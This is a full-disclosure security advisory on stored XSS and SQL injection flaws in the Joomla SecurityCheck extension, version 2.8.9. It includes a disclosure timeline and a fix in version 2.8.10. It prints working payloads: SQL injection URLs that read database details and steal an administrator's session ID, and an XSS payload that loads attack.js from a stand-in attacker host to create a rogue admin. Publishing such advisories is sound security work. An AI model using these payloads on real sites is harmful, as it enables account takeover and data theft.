full-disclosure - [FD] Joomla SecurityCheck extension

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Message-ID: <CADPvBwR0bZ_c5J6v_gh1L1Ojc_vO3J+srOQ9hM-aKYmXh_F46Q@mail.gmail.com>
Date: Wed, 1 Jun 2016 17:45:27 +0300
From: Gökmen GÜREŞÇİ <gokmenguresci@...il.com>
To: fulldisclosure@...lists.org, cert@...t.org, vuln@...unia.com, 
 bugs@...uritytracker.com, submissions@...ketstormsecurity.org, 
 bugtraq@...urityfocus.com
Subject: [FD]  Joomla SecurityCheck extension - Multiple vulnerabilities

Information
------------------------------
Advisory by ADEO Security Team
Name: Stored XSS and SQL Injection in Joomla SecurityCheck extension
Affected Software : SecurityCheck and SecurityCheck Pro
Vulnerable Versions: 2.8.9 (possibly below)
Vendor Homepage : https://securitycheck.protegetuordenador.com
Vulnerabilities Type : XSS and SQL Injection
Severity : High
Status : Fixed

Technical Details
------------------------------
PoC URLs for SQL Injection

For determining database, user and version.

http://website/index.php?option='or(ExtractValue(1,concat(0x3a,(select(database())))))='1
http://website/index.php?option='or(ExtractValue(1,concat(0x3a,(select(user())))))='1
http://website/index.php?option='or(ExtractValue(1,concat(0x3a,(select(version())))))='1

For steal admin's session ID (If admin is not online, page response with
attack detected string. If online, response with admin's session ID)

http://website/index.php?option='or(ExtractValue(rand(),concat(0x3a,(SELECT
concat(session_id) FROM %23__user_usergroup_map INNER JOIN %23__users ON
%23__user_usergroup_map.user_id=%23__users.id INNER JOIN %23__session ON %
23__users.id=%23__session.userid WHERE group_id=8 LIMIT 0,1))))='1

PoC URLs for XSS

Add a new admin to website silently while admin checking SecurityCheck logs

http://website/index.php?option=<script>var script =
document.createElement('script');script.src = "http://ATTACKER/attack.js
";document.getElementsByTagName('head')[0].appendChild(script);</script>

attack.js
https://gist.github.com/MuhammetDilmac/c680cc921143543561bfdfd7b25da1ca

Disclosure Timeline
------------------------------
24/05/2016 SQL injection found
30/05/2016 Worked on one-shot exploit for SQLi
30/05/2016 While we were working on SQLi payload we also found XSS
31/05/2016 XSS payload prepared
31/05/2016 Vulnerability details and PoC sent to Protegetuordenador
31/05/2016 Vulnerabilities fixed in v2.8.10

Solution
------------------------------
Update to the latest version of SecurityCheck (2.8.10)

Credits
------------------------------
These issues have been discovered by Gokmen Guresci (gokmenguresci.com) and
Muhammet Dilmac (muhammetdilmac.com.tr).

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